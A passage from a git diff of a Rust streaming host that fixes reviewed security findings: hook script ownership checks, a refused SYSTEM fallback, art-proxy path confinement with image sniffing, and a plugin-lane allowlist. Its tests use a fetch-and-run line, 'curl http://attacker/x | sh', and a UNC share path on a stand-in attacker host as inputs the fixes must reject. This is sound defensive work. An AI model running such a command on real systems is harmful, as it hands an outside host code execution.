the host. The dir is already + // 0700 / SYSTEM+Admins from the unconditional hardening above. pf_paths::write_secret_file(&key_path, k.as_bytes()) .with_context(|| format!("write {}", key_path.display()))?; // The cert is public (handed to clients), but write it owner-only too for consistency. diff --git a/crates/punktfunk-host/src/hooks.rs b/crates/punktfunk-host/src/hooks.rs index a980f3ca..2829572b 100644 --- a/crates/punktfunk-host/src/hooks.rs +++ b/crates/punktfunk-host/src/hooks.rs @@ -432,44 +432,124 @@ fn flatten_env(ev: &crate::events::HostEvent) -> Vec<(String, String)> { out } -/// The sshd/sudoers rule (RFC §9.1): when the command's first token is a path to an existing -/// file, refuse to run it unless it is owned by the host user (or root) and not -/// group/world-writable — a world-writable hook script is privilege escalation bait. A bare -/// command name (`systemctl`, `curl`) is left to PATH. +/// The sshd/sudoers rule (RFC §9.1): refuse to run a command that references a script/binary which +/// is group/world-writable, or owned by neither the host user nor root — a world-writable hook +/// script is privilege-escalation bait. A bare command name (`systemctl`, `curl`) is left to PATH. +/// +/// **This is a hygiene rule, not an authorization gate**, and the distinction matters: it +/// constrains *who owns the file being run*, never *what the command does*. `curl … | sh` and +/// `python3 -c '…'` are unconstrained by construction, and `/bin/sh -c ''` passes because +/// `/bin/sh` is root-owned. Whoever may WRITE a hook already has command execution as the host +/// user — which is why writing them is admin-only. A pass here does not mean "this command is +/// safe", and nothing should be granted on the strength of it. +/// +/// It checks EVERY absolute-path token, not just the first (2026-08-05 review L-12). Looking only +/// at `cmd.split_whitespace().next()` meant `bash /opt/x/hook.sh`, `sh -c /tmp/x` and any quoted +/// path skipped the check entirely — so the interpreter was vetted and the script it ran was not, +/// which is backwards: the script is the part an attacker can plant. #[cfg(unix)] fn exec_path_check(cmd: &str) -> Result<(), String> { use std::os::unix::fs::MetadataExt; - let Some(first) = cmd.split_whitespace().next() else { + if cmd.split_whitespace().next().is_none() { return Err("empty command".into()); - }; - if !first.starts_with('/') { - return Ok(()); - } - let meta = match std::fs::metadata(first) { - Ok(m) => m, - Err(_) => return Ok(()), // not an existing file — the shell will report it - }; - if !meta.is_file() { - return Ok(()); } // SAFETY: geteuid has no preconditions and touches no memory. let euid = unsafe { libc::geteuid() }; - if meta.uid() != euid && meta.uid() != 0 { - return Err(format!( - "{first} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \ - owned by the operator or root", - meta.uid() - )); - } - if meta.mode() & 0o022 != 0 { - return Err(format!( - "{first} is group/world-writable (mode {:o}) — chmod go-w it first", - meta.mode() & 0o7777 - )); + for raw in cmd.split_whitespace() { + // Tolerate the quoting a hand-written command line carries — a path that is absolute only + // after unquoting is exactly as plantable as a bare one. + let token = raw.trim_matches(|c| c == '"' || c == '\''); + if !token.starts_with('/') { + continue; + } + let meta = match std::fs::metadata(token) { + Ok(m) => m, + Err(_) => continue, // not an existing file — the shell will report it + }; + if !meta.is_file() { + continue; + } + if meta.uid() != euid && meta.uid() != 0 { + return Err(format!( + "{token} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \ + owned by the operator or root", + meta.uid() + )); + } + if meta.mode() & 0o022 != 0 { + return Err(format!( + "{token} is group/world-writable (mode {:o}) — chmod go-w it first", + meta.mode() & 0o7777 + )); + } } Ok(()) } +/// Whether this process is running as `NT AUTHORITY\SYSTEM` (S-1-5-18) — i.e. as the SCM service +/// rather than as the operator's own console process. +/// +/// Used to decide whether the in-process hook fallback is acceptable: as the operator it is the +/// privilege they already have, as SYSTEM it is an elevation the hook contract forbids +/// (2026-08-05 review L-13). Fails CLOSED — an unreadable token is treated as SYSTEM, because the +/// consequence of guessing wrong in that direction is a skipped hook, and in the other direction +/// it is a SYSTEM command. +#[cfg(windows)] +fn running_as_system() -> bool { + use windows::Win32::Foundation::HANDLE; + use windows::Win32::Security::{ + CreateWellKnownSid, EqualSid, GetTokenInformation, TokenUser, WinLocalSystemSid, PSID, + SECURITY_MAX_SID_SIZE, TOKEN_QUERY, TOKEN_USER, + }; + use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken}; + + let mut token = HANDLE::default(); + // SAFETY: pseudo-handle from GetCurrentProcess; `token` is a live out-param. + if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) }.is_err() { + return true; // fail closed + } + let mut buf = [0u8; 256]; + let mut len = 0u32; + // SAFETY: `buf` is a writable local of the length passed; `len` is a live out-param. + let got = unsafe { + GetTokenInformation( + token, + TokenUser, + Some(buf.as_mut_ptr().cast()), + buf.len() as u32, + &mut len, + ) + }; + // SAFETY: the token handle came from OpenProcessToken and is not used after this. + unsafe { + let _ = windows::Win32::Foundation::CloseHandle(token); + } + if got.is_err() { + return true; // fail closed + } + let mut system = [0u8; SECURITY_MAX_SID_SIZE as usize]; + let mut cb = system.len() as u32; + // SAFETY: the buffer is SECURITY_MAX_SID_SIZE, the documented maximum SID size. + if unsafe { + CreateWellKnownSid( + WinLocalSystemSid, + None, + Some(PSID(system.as_mut_ptr().cast())), + &mut cb, + ) + } + .is_err() + { + return true; // fail closed + } + // SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its `User.Sid` points into + // the same buffer, and both SIDs are valid for this comparison. + unsafe { + let tu = &*(buf.as_ptr() as *const TOKEN_USER); + EqualSid(tu.User.Sid, PSID(system.as_mut_ptr().cast())).is_ok() + } +} + #[cfg(not(unix))] fn exec_path_check(_cmd: &str) -> Result<(), String> { // Windows: hooks.json lives in the SYSTEM/Admins-DACL'd config dir and the command runs in @@ -580,7 +660,33 @@ fn run_hook_process( // report "ran" (prep `undo`s stay armed). true } + Err(e) if running_as_system() => { + // NO in-process fallback when we are SYSTEM. + // + // `spawn_in_active_session` fails whenever there is no interactive user — pre-login, at + // boot, on a logged-off box — and the fallback below then ran the operator's command + // line through `cmd.exe /C` IN THIS PROCESS. As the SCM service that process is + // LocalSystem, so a hook the module contract promises runs "in the interactive session, + // never SYSTEM" quietly became a SYSTEM command, at the exact moments nobody is watching + // the screen, with no ownership check on the script (`exec_path_check` is a no-op on + // Windows) — 2026-08-05 review L-13. + // + // Refusing is the honest behaviour: the contract says these run as the user, and if + // there is no user there is nothing to run them as. A hook that must run without a + // logged-in user belongs in a service, not here. + tracing::warn!( + cmd = %cmd, + error = %format!("{e:#}"), + "hook SKIPPED: no interactive user session to run it in, and this host is SYSTEM — \ + hooks run as the logged-in user by design and are never elevated to SYSTEM" + ); + let _ = std::fs::remove_file(&json_path); + false + } Err(e) => { + // Not SYSTEM (a hand-run `punktfunk-host serve` in the operator's own console): running + // in-process is the same privilege the operator already has, which is the whole trust + // model for hooks. tracing::debug!(error = %format!("{e:#}"), "interactive-session spawn unavailable — running hook in-console"); let mut ok = false; diff --git a/crates/punktfunk-host/src/library/art.rs b/crates/punktfunk-host/src/library/art.rs index 9536c1fa..d96da2e8 100644 --- a/crates/punktfunk-host/src/library/art.rs +++ b/crates/punktfunk-host/src/library/art.rs @@ -160,32 +160,169 @@ pub fn is_local_art_path(v: &str) -> bool { (b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\") } +/// The filesystem roots the art proxy is allowed to read from. +/// +/// The proxy runs in the **host process** — LocalSystem on Windows — and both the path and the +/// read-back are reachable from the plugin lane, which runs as the much weaker LocalService. Without +/// a root, "serve this entry's cover" is "read any file on the box as SYSTEM" (2026-08-05 review +/// H-2): `mgmt-token`, `key.pem`, the SAM hive. So the value is confined here, at the one place +/// bytes are read, rather than trusted because of where it was written. +/// +/// Default: the users base (`C:\Users`), which is where every launcher keeps its art cache — +/// Playnite, the only local-art provider, stores covers under `%APPDATA%\Playnite`. Derived from +/// `%PUBLIC%`'s parent because the host runs as SYSTEM, whose own `%USERPROFILE%` is +/// `…\config\systemprofile` and tells us nothing about where the operator's launchers live. +/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (`;`-separated) replaces the default for an operator whose library +/// is on another drive. +fn art_roots() -> Vec { + if let Some(configured) = std::env::var_os("PUNKTFUNK_LIBRARY_ART_ROOTS") { + return std::env::split_paths(&configured) + .filter(|p| !p.as_os_str().is_empty()) + .collect(); + } + let mut roots = Vec::new(); + // `%PUBLIC%` is `C:\Users\Public` on every supported Windows; its parent is the users base. + if let Some(public) = std::env::var_os("PUBLIC") { + if let Some(base) = PathBuf::from(public).parent() { + roots.push(base.to_path_buf()); + } + } + if roots.is_empty() { + if let Some(drive) = std::env::var_os("SystemDrive") { + roots.push(PathBuf::from(drive).join("Users")); + } + } + roots +} + +/// Whether `path` resolves inside one of [`art_roots`] and outside the host config dir. +/// +/// Canonicalizes first, so a junction/symlink pointing out of the root is resolved before the +/// containment test rather than after it. The config-dir exclusion is unconditional — it holds even +/// if an operator's `PUNKTFUNK_LIBRARY_ART_ROOTS` were to contain it — because that directory is +/// where every host secret lives. +fn art_path_is_confined(path: &Path) -> bool { + // A UNC value (`\\attacker\share\a.png`) is refused outright: reading it would coerce the host's + // machine account into outbound SMB authentication to a peer of the caller's choosing. + if path.to_string_lossy().starts_with(r"\\") { + return false; + } + let Ok(real) = path.canonicalize() else { + return false; + }; + if let Ok(config) = pf_paths::config_dir().canonicalize() { + if real.starts_with(&config) { + return false; + } + } + art_roots() + .iter() + .filter_map(|r| r.canonicalize().ok()) + .any(|root| real.starts_with(&root)) +} + +/// Sniff an image container from its leading bytes → the content type to serve. `None` for anything +/// that is not a recognized image. +/// +/// The proxy serves what the bytes ARE, not what the extension claims, and refuses to serve at all +/// when they are not an image — which is what keeps an extensionless secret like `mgmt-token` (or a +/// `key.pem` renamed `cover.png`) from being returned as `application/octet-stream`. +fn sniff_image_type(bytes: &[u8]) -> Option<&'static str> { + let starts = |sig: &[u8]| bytes.starts_with(sig); + if starts(&[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A]) { + return Some("image/png"); + } + if starts(&[0xFF, 0xD8, 0xFF]) { + return Some("image/jpeg"); + } + if starts(b"GIF87a") || starts(b"GIF89a") { + return Some("image/gif"); + } + if starts(b"RIFF") && bytes.len() >= 12 && &bytes[8..12] == b"WEBP" { + return Some("image/webp"); + } + if starts(b"BM") { + return Some("image/bmp"); + } + if starts(&[0x00, 0x00, 0x01, 0x00]) { + return Some("image/x-icon"); + } + // TGA has no magic number. Validate the fixed header fields instead (colour-map type is 0/1, + // image type is one of the six defined codes) — enough that no plausible secret passes. + if bytes.len() >= 18 + && matches!(bytes[1], 0 | 1) + && matches!(bytes[2], 0 | 1 | 2 | 3 | 9 | 10 | 11) + { + return Some("image/x-tga"); + } + None +} + +/// Whether a local art path is servable at all: known image extension, inside an allowed root. The +/// write-time half of the art confinement — [`validate_art_paths`] refuses to persist a value this +/// rejects, so an out-of-root path never reaches the catalog in the first place, and +/// [`local_art_bytes`] re-checks at read time so an entry written before this existed is still safe. +pub fn art_path_is_servable(value: &str) -> bool { + let p = Path::new(value); + let ext_ok = p + .extension() + .and_then(|e| e.to_str()) + .map(|e| e.to_ascii_lowercase()) + .is_some_and(|e| { + matches!( + e.as_str(), + "jpg" | "jpeg" | "png" | "webp" | "gif" | "bmp" | "ico" | "tga" + ) + }); + ext_ok && art_path_is_confined(p) +} + +/// Reject any **local-file** art value that the proxy would refuse to serve, so an unservable path +/// (out of root, not an image, a UNC share) can never be persisted. URLs and already-proxied paths +/// are not this function's business and pass through. `Err` carries the offending field name. +pub fn validate_art_paths(art: &Artwork) -> Result<(), String> { + for (field, value) in [ + ("portrait", &art.portrait), + ("hero", &art.hero), + ("logo", &art.logo), + ("header", &art.header), + ] { + let Some(v) = value.as_deref() else { continue }; + if is_local_art_path(v) && !art_path_is_servable(v) { + return Err(format!( + "art.{field}: local art must be an image file (jpg/png/webp/gif/bmp/ico/tga) inside \ + an allowed art root — set PUNKTFUNK_LIBRARY_ART_ROOTS if the library lives \ + elsewhere, or send an http(s) URL instead" + )); + } + } + Ok(()) +} + /// Read a local image file into `(bytes, content-type)` for the art proxy. `None` if it isn't an -/// existing regular file, is empty, or exceeds 16 MiB (a cover never approaches that; the cap bounds -/// host memory). Content-type is guessed from the extension. +/// existing regular file, is empty, exceeds 16 MiB (a cover never approaches that; the cap bounds +/// host memory), resolves outside the allowed art roots ([`art_path_is_confined`]), or does not +/// actually contain an image ([`sniff_image_type`]). +/// +/// This is the single place local art bytes are read — the mgmt art proxy and the GameStream +/// `/appasset` proxy both land here — so the confinement holds for every caller. pub fn local_art_bytes(path: &str) -> Option<(Vec, String)> { + if !art_path_is_servable(path) { + tracing::debug!( + path, + "art proxy: refusing a path outside the allowed art roots" + ); + return None; + } let p = std::path::Path::new(path); let meta = std::fs::metadata(p).ok()?; if !meta.is_file() || meta.len() == 0 || meta.len() > 16 * 1024 * 1024 { return None; } - let ctype = match p - .extension() - .and_then(|e| e.to_str()) - .map(|e| e.to_ascii_lowercase()) - .as_deref() - { - Some("jpg" | "jpeg") => "image/jpeg", - Some("png") => "image/png", - Some("webp") => "image/webp", - Some("gif") => "image/gif", - Some("bmp") => "image/bmp", - Some("ico") => "image/x-icon", - Some("tga") => "image/x-tga", - _ => "application/octet-stream", - } - .to_string(); - Some((std::fs::read(p).ok()?, ctype)) + let bytes = std::fs::read(p).ok()?; + // Serve what the bytes ARE. A file that is not an image is not served at all. + let ctype = sniff_image_type(&bytes)?; + Some((bytes, ctype.to_string())) } /// Resolve one art value to bytes for the Moonlight `/appasset` proxy: a local host file @@ -371,16 +508,116 @@ mod tests { ); } + const PNG: &[u8] = &[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 13]; + + /// The art proxy reads bytes in the HOST process (LocalSystem on Windows) from a path the + /// plugin lane can write — so what it will and will not read IS the security boundary + /// (2026-08-05 review H-2). Confinement, extension, and content are all load-bearing. #[test] - fn local_art_bytes_reads_a_real_file() { + fn local_art_bytes_is_confined_and_image_only() { let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id())); + let outside = std::env::temp_dir().join(format!("pf-art-out-{}", std::process::id())); std::fs::create_dir_all(&dir).unwrap(); - let f = dir.join("cover.png"); - std::fs::write(&f, [1u8, 2, 3, 4]).unwrap(); - let (bytes, ctype) = local_art_bytes(f.to_str().unwrap()).expect("reads file"); - assert_eq!(bytes, vec![1, 2, 3, 4]); + std::fs::create_dir_all(&outside).unwrap(); + // Confine the proxy to `dir` for the duration of this test. + std::env::set_var("PUNKTFUNK_LIBRARY_ART_ROOTS", &dir); + + // A real image inside the root: served, with the content type SNIFFED from the bytes. + let cover = dir.join("cover.png"); + std::fs::write(&cover, PNG).unwrap(); + let (bytes, ctype) = local_art_bytes(cover.to_str().unwrap()).expect("reads a real cover"); + assert_eq!(bytes, PNG); assert_eq!(ctype, "image/png"); + + // A secret is not served, however it is dressed up. This is the H-2 primitive: the plugin + // writes the path, the host reads it as SYSTEM, and `mgmt-token` is full admin. + let secret = dir.join("mgmt-token"); + std::fs::write(&secret, b"super-secret-admin-token").unwrap(); + assert!( + local_art_bytes(secret.to_str().unwrap()).is_none(), + "an extensionless secret must not be served as application/octet-stream" + ); + let disguised = dir.join("mgmt-token.png"); + std::fs::write(&disguised, b"super-secret-admin-token").unwrap(); + assert!( + local_art_bytes(disguised.to_str().unwrap()).is_none(), + "an image extension must not be enough — the bytes must BE an image" + ); + + // Outside the configured root: refused even though it is a genuine image. + let elsewhere = outside.join("cover.png"); + std::fs::write(&elsewhere, PNG).unwrap(); + assert!( + local_art_bytes(elsewhere.to_str().unwrap()).is_none(), + "a path outside every art root must be refused" + ); + // …and a path that only *escapes* via traversal is caught, because we canonicalize first. + let traversal = dir + .join("..") + .join(outside.file_name().unwrap()) + .join("cover.png"); + assert!( + local_art_bytes(traversal.to_str().unwrap()).is_none(), + "`..` out of the root must be refused after canonicalization" + ); + assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none()); + // A UNC path is refused outright (outbound SMB auth coercion), before any filesystem hit. + assert!(!art_path_is_servable(r"\\attacker\share\a.png")); + + std::env::remove_var("PUNKTFUNK_LIBRARY_ART_ROOTS"); let _ = std::fs::remove_dir_all(&dir); + let _ = std::fs::remove_dir_all(&outside); + } + + /// Write-time validation refuses what read-time would refuse, so an unservable path never even + /// reaches `library.json`. URLs are none of its business. + #[test] + fn validate_art_paths_rejects_unservable_local_paths() { + let ok = Artwork { + portrait: Some("https://cdn/x.jpg".into()), + hero: Some("data:image/png;base64,AAAA".into()), + logo: Some("/api/v1/library/art/custom:x/logo".into()), + header: None, + }; + assert!(validate_art_paths(&ok).is_ok(), "URLs pass through"); + + let unc = Artwork { + portrait: Some(r"\\attacker\share\a.png".into()), + ..Default::default() + }; + assert!( + validate_art_paths(&unc).is_err(), + "UNC is refused at write time" + ); + + let secret = Artwork { + hero: Some(r"C:\ProgramData\punktfunk\mgmt-token".into()), + ..Default::default() + }; + let err = validate_art_paths(&secret).expect_err("a secret path is refused"); + assert!( + err.starts_with("art.hero"), + "the error names the field: {err}" + ); + } + + #[test] + fn sniff_image_type_recognizes_containers_and_rejects_secrets() { + assert_eq!(sniff_image_type(PNG), Some("image/png")); + assert_eq!( + sniff_image_type(&[0xFF, 0xD8, 0xFF, 0xE0]), + Some("image/jpeg") + ); + assert_eq!(sniff_image_type(b"GIF89a...."), Some("image/gif")); + assert_eq!( + sniff_image_type(b"RIFF\0\0\0\0WEBPVP8 "), + Some("image/webp") + ); + assert_eq!(sniff_image_type(b"BM\0\0"), Some("image/bmp")); + // The shapes a stolen secret actually has. + assert_eq!(sniff_image_type(b"-----BEGIN PRIVATE KEY-----"), None); + assert_eq!(sniff_image_type(b"9f8a7b6c5d4e3f2a1b0c"), None); + assert_eq!(sniff_image_type(b""), None); } } diff --git a/crates/punktfunk-host/src/library/custom.rs b/crates/punktfunk-host/src/library/custom.rs index de1bbf6c..5a5bbb01 100644 --- a/crates/punktfunk-host/src/library/custom.rs +++ b/crates/punktfunk-host/src/library/custom.rs @@ -246,6 +246,34 @@ pub fn delete_custom(id: &str) -> Result> { // ------------------------------------------------------------------ providers (RFC §8) +/// The **operator-privileged field** set in a library payload, if the payload carries one — the +/// fields whose contents the host later executes as the host user. +/// +/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run +/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution +/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a +/// human typed the command into the admin console. Any lane that is not the operator's own token +/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the +/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two +/// copies of the very primitive the `/hooks` carve-out exists to withhold. +/// +/// Returns the field name for the error message, so a plugin author sees exactly what was refused. +/// The other launch kinds (`steam_appid`, `epic`, `gog`, `aumid`, `lutris_id`, `heroic`) are all +/// host-resolved from a validated id and stay open to every lane — a provider plugin can still +/// publish its whole catalogue, it just cannot hand the host a shell command to run. +pub fn privileged_field( + launch: Option<&LaunchSpec>, + prep: &[crate::hooks::PrepCmd], +) -> Option<&'static str> { + if !prep.is_empty() { + return Some("prep"); + } + if launch.is_some_and(|l| l.kind == "command") { + return Some("launch.kind = \"command\""); + } + None +} + /// Provider ids are path segments, event sources, and console labels: keep them tame. /// `manual` is reserved (it is the no-provider sentinel in `library.changed`). pub fn validate_provider_name(provider: &str) -> Result<(), String> { @@ -535,6 +563,35 @@ mod tests { ); } + /// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host + /// later hands to a shell are operator-only. Everything else — including every host-resolved + /// launch kind — stays open, so a provider plugin can publish its whole catalogue. + #[test] + fn privileged_field_is_command_execution_only() { + let cmd = LaunchSpec { + kind: "command".into(), + value: "curl http://attacker/x | sh".into(), + }; + let steam = LaunchSpec { + kind: "steam_appid".into(), + value: "70".into(), + }; + let prep = vec![crate::hooks::PrepCmd { + run: "curl http://attacker/x | sh".into(), + undo: None, + }]; + + assert_eq!( + privileged_field(Some(&cmd), &[]), + Some("launch.kind = \"command\"") + ); + assert_eq!(privileged_field(None, &prep), Some("prep")); + assert_eq!(privileged_field(Some(&steam), &prep), Some("prep")); + // The ordinary provider catalogue: nothing privileged, so no lane is refused. + assert_eq!(privileged_field(Some(&steam), &[]), None); + assert_eq!(privileged_field(None, &[]), None); + } + #[test] fn provider_name_and_payload_validation() { assert!(validate_provider_name("romm").is_ok()); diff --git a/crates/punktfunk-host/src/main.rs b/crates/punktfunk-host/src/main.rs index 801a1f1e..a80b4659 100644 --- a/crates/punktfunk-host/src/main.rs +++ b/crates/punktfunk-host/src/main.rs @@ -796,7 +796,16 @@ fn parse_serve(args: &[String]) -> Result<(mgmt::Options, native::NativeServe, b // The scripting runner's scoped credential: minted + persisted (plugin-token) alongside the // admin token so a plugin's zero-config `connect()` picks it up — it authorizes the plugin // surface but not hook registration or pairing administration (mgmt::auth::plugin_may_access). - opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?); + // + // Only when a runner is actually installed. It used to be minted unconditionally on every + // `serve`, so a host with no plugins — the common case — still persisted a second + // admin-adjacent credential to disk and kept a second authentication lane live for a + // subsystem it does not run (2026-08-05 review L-21). Installing the runner later mints it on + // the next start, and an existing plugin-token file is picked up unchanged, so nothing about + // the plugin flow changes for a host that has one. + if crate::plugins::runtime_status().installed { + opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?); + } // Default the mgmt listener to ALL interfaces (not just loopback) so a paired native client can // fetch the game library over mTLS with no operator step — the whole point of "browse works by // default". This only LAN-exposes the read-only cert allowlist; the bearer-token admin surface diff --git a/crates/punktfunk-host/src/mgmt/auth.rs b/crates/punktfunk-host/src/mgmt/auth.rs index f71a621b..198559e7 100644 --- a/crates/punktfunk-host/src/mgmt/auth.rs +++ b/crates/punktfunk-host/src/mgmt/auth.rs @@ -17,6 +17,42 @@ use axum::http::Method; use axum::middleware::Next; use sha2::{Digest, Sha256}; +/// **Which credential authorized this request**, attached to the request extensions by +/// [`require_auth`] on every request it forwards. +/// +/// [`plugin_may_access`] answers "may this lane reach this route"; this answers "may this lane set +/// this *field*". Some payloads carry operator-privileged fields on routes a plugin otherwise has +/// every business calling — the library reconcile is the case that matters: a provider plugin owns +/// its entry set, but `prep` and `launch.kind == "command"` are executed verbatim as the host user +/// (`/bin/sh -c` / `cmd.exe /c`), which is the same primitive the `/hooks` carve-out withholds. +/// Route-level authorization cannot express that; a handler holding this can (see +/// [`crate::library::reject_privileged_fields`]). +/// +/// Extracted by handlers as `Extension`. A missing extension is a 500, not a default — +/// a router that forgot the middleware must fail closed, never silently grant admin. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub(crate) enum AuthLane { + /// The operator's admin bearer token (loopback): everything, including the privileged fields. + Admin, + /// The scripting runner's scoped bearer token (loopback): [`plugin_may_access`] routes, and + /// never the operator-privileged fields inside them. + Plugin, + /// A paired streaming client certificate (mTLS, LAN): the read-only [`cert_may_access`] set. + Cert, + /// An always-open route (`/health`) or the loopback-only tray summary — no credential at all. + Public, +} + +impl AuthLane { + /// Whether this lane may set fields that become command execution as the host user. Only the + /// operator's own token may: the console is the surface where the operator types a command, and + /// typing it there is the trust decision. Everything else is refused, including a paired cert + /// (which cannot reach a write route anyway — belt and braces if the allowlist ever grows). + pub(crate) fn may_set_privileged_fields(self) -> bool { + matches!(self, AuthLane::Admin) + } +} + /// Auth gate on the `/api/v1` routes: a paired client cert (mTLS, from anywhere) or the bearer token /// (from a **loopback** peer only) — required always (the host runs with a token by construction). /// `/api/v1/health` stays open for probes; `/api/v1/local/summary` is open to loopback peers only @@ -28,8 +64,15 @@ pub(crate) async fn require_auth( req: Request, next: Next, ) -> Response { + /// Stamp the authorizing lane onto the request before it reaches a handler, so a handler can + /// refuse operator-privileged FIELDS to a non-operator lane (see [`AuthLane`]). + async fn forward(mut req: Request, next: Next, lane: AuthLane) -> Response { + req.extensions_mut().insert(lane); + next.run(req).await + } + if req.uri().path() == "/api/v1/health" { - return next.run(req).await; // liveness probe is always open + return forward(req, next, AuthLane::Public).await; // liveness probe is always open } // The tray icon's status source: non-sensitive counts/booleans only, unauthenticated but // confined to LOOPBACK peers. The bearer-token file (and cert.pem) are SYSTEM/Administrators- @@ -43,7 +86,7 @@ pub(crate) async fn require_auth( .get::() .is_none_or(|a| a.0.ip().is_loopback()); return if from_loopback { - next.run(req).await + forward(req, next, AuthLane::Public).await } else { api_error( StatusCode::UNAUTHORIZED, @@ -61,7 +104,7 @@ pub(crate) async fn require_auth( if cert_may_access(req.method(), req.uri().path()) && st.native.as_ref().is_some_and(|n| n.is_paired(fp)) { - return next.run(req).await; + return forward(req, next, AuthLane::Cert).await; } } // Otherwise require the bearer token (the web console / admin) — but only from a LOOPBACK peer. @@ -92,7 +135,7 @@ pub(crate) async fn require_auth( .and_then(|v| v.to_str().ok()) .and_then(|v| v.strip_prefix("Bearer ")); match presented { - Some(token) if token_eq(token, expected) => next.run(req).await, + Some(token) if token_eq(token, expected) => forward(req, next, AuthLane::Admin).await, // The scripting runner's scoped lane: same loopback confinement as the admin token, but // routes that would let a plugin escalate — registering hooks (arbitrary command // execution as the host user) or administering pairing (admitting/ejecting devices, @@ -105,7 +148,7 @@ pub(crate) async fn require_auth( .is_some_and(|pt| token_eq(token, pt)) => { if plugin_may_access(req.method(), req.uri().path()) { - next.run(req).await + forward(req, next, AuthLane::Plugin).await } else { api_error( StatusCode::FORBIDDEN, @@ -121,9 +164,18 @@ pub(crate) async fn require_auth( } } -/// Which routes the scripting runner's **plugin token** may reach: the admin surface minus the -/// escalation routes. Exclusion-based (a plugin legitimately reads status/library/events, drives -/// sessions, and registers its UI lease), with these carve-outs: +/// The routes the scripting runner's **plugin token** may reach — an explicit **allowlist**, so a +/// route added later is denied until someone classifies it (`plugin_lane_classifies_every_route` in +/// `mgmt::tests` fails the build otherwise). +/// +/// This gate used to be a denylist of route prefixes, and that is precisely how the 2026-08-05 +/// review's H-1/H-2 arrived: `/api/v1/library` was never enumerated, so the plugin lane inherited +/// two copies of the very "arbitrary command execution as the host user" primitive the `/hooks` +/// carve-out exists to withhold, plus an unconfined file read. Every sibling gate in the system +/// (`cert_may_access`, the QUIC pairing gate, the console's `isPublicPath`) is deny-by-default; +/// this one now is too. +/// +/// What stays *out* of the list, and why: /// - **hooks** — `hooks.json` runs operator commands on lifecycle events; writing it is arbitrary /// command execution as the host user, and reading it can expose webhook credentials. /// - **pairing administration** — arming/approving/denying/unpairing (and PIN visibility) decide @@ -133,29 +185,90 @@ pub(crate) async fn require_auth( /// secret; only the console proxy (admin token) needs it. /// - **the plugin store** — installing a plugin is running new code with operator privileges, and a /// plugin that can do that is a persistence/escalation primitive: it could install a helper that -/// isn't constrained the way it is, or switch the runner's own service state. Denied wholesale -/// (reads included — the catalog is not sensitive, but there is no reason a plugin needs it, and -/// a whole-prefix deny can't be defeated by a route added later). +/// isn't constrained the way it is, or switch the runner's own service state. +/// - **the update surface** — operator business end to end (`apply` runs an installer / the root +/// helper). +/// +/// The library *writes* below are on the list because a provider plugin's whole job is reconciling +/// its own entries — but the two operator-privileged FIELDS inside those payloads (`prep`, and +/// `launch.kind == "command"`) are refused to this lane in the handlers, via [`AuthLane`]. Route +/// reachability and field authority are separate questions and this gate only answers the first. pub(crate) fn plugin_may_access(method: &Method, path: &str) -> bool { - let denied = path == "/api/v1/hooks" - || path == "/api/v1/store" - || path.starts_with("/api/v1/store/") - || path == "/api/v1/pair" - || path.starts_with("/api/v1/pair/") - || path == "/api/v1/native/pair" - || path.starts_with("/api/v1/native/pair/") - || path == "/api/v1/native/pending" - || path.starts_with("/api/v1/native/pending/") - || (method == Method::DELETE - && (path.starts_with("/api/v1/clients/") - || path.starts_with("/api/v1/native/clients/"))) - || (path.starts_with("/api/v1/plugins/") && path.ends_with("/ui-credential")) - // The update surface is operator business end to end: today it is only a check, but - // the same prefix will carry `apply` (running an installer / the root helper), and a - // whole-prefix deny can't be defeated by a route added later. - || path == "/api/v1/update" - || path.starts_with("/api/v1/update/"); - !denied + // (method, path) pairs, `{}` matching exactly one path segment. Grouped as the route table is. + const ALLOWED: &[(&Method, &str)] = &[ + // Host / status reads. + (&Method::GET, "/api/v1/health"), + (&Method::GET, "/api/v1/host"), + (&Method::GET, "/api/v1/status"), + (&Method::GET, "/api/v1/local/summary"), + (&Method::GET, "/api/v1/compositors"), + (&Method::GET, "/api/v1/events"), + (&Method::GET, "/api/v1/logs"), + // The paired-device rosters: read-only. (DELETE is pairing administration — not listed.) + (&Method::GET, "/api/v1/clients"), + (&Method::GET, "/api/v1/native/clients"), + // GPU + display control: host configuration a plugin may legitimately steer (a room + // automation plugin swaps the layout with the lights); no privilege boundary crossed. + (&Method::GET, "/api/v1/gpus"), + (&Method::PUT, "/api/v1/gpus/preference"), + (&Method::GET, "/api/v1/display/settings"), + (&Method::PUT, "/api/v1/display/settings"), + (&Method::GET, "/api/v1/display/state"), + (&Method::GET, "/api/v1/display/monitors"), + (&Method::PUT, "/api/v1/display/layout"), + (&Method::POST, "/api/v1/display/release"), + (&Method::GET, "/api/v1/display/presets"), + (&Method::POST, "/api/v1/display/presets"), + (&Method::PUT, "/api/v1/display/presets/{}"), + (&Method::DELETE, "/api/v1/display/presets/{}"), + // Session control: stopping/steering a session is what a launcher plugin exists to do. + (&Method::DELETE, "/api/v1/session"), + (&Method::POST, "/api/v1/session/idr"), + (&Method::GET, "/api/v1/session/settings"), + (&Method::PUT, "/api/v1/session/settings"), + (&Method::POST, "/api/v1/game/end"), + // Library: reads, plus the provider reconcile a scanner plugin is built around. The + // operator-only FIELDS inside these payloads are refused separately (see `AuthLane`). + (&Method::GET, "/api/v1/library"), + (&Method::GET, "/api/v1/library/art/{}/{}"), + (&Method::GET, "/api/v1/library/scanners"), + 